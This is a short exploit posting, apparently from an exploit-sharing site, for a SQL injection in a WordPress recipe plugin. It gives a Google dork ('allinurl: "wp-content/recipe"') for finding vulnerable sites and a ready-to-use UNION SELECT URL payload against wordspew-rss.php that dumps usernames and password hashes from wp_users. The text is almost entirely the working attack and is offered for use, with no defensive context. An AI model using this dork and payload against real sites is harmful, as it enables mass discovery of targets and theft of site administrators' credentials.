########################################################################
#

#

# Wordpress Plugin (wp-content/recipe) SQL Injection

#

########################################################################
#

#

# AUTHOR : S@BUN

#

# HOME : http://www.hackturkiye.com/

########################################################################
#

#

# DORK 1 : allinurl: "wp-content/recipe"

#

########################################################################
#

EXPLOIT :

wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_l
ogin,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,
5/**/FROM/**/wp_users

########################################################################
#

# S@BUN GOOD LUCKY S@BUN

########################################################################
#

[ reply ]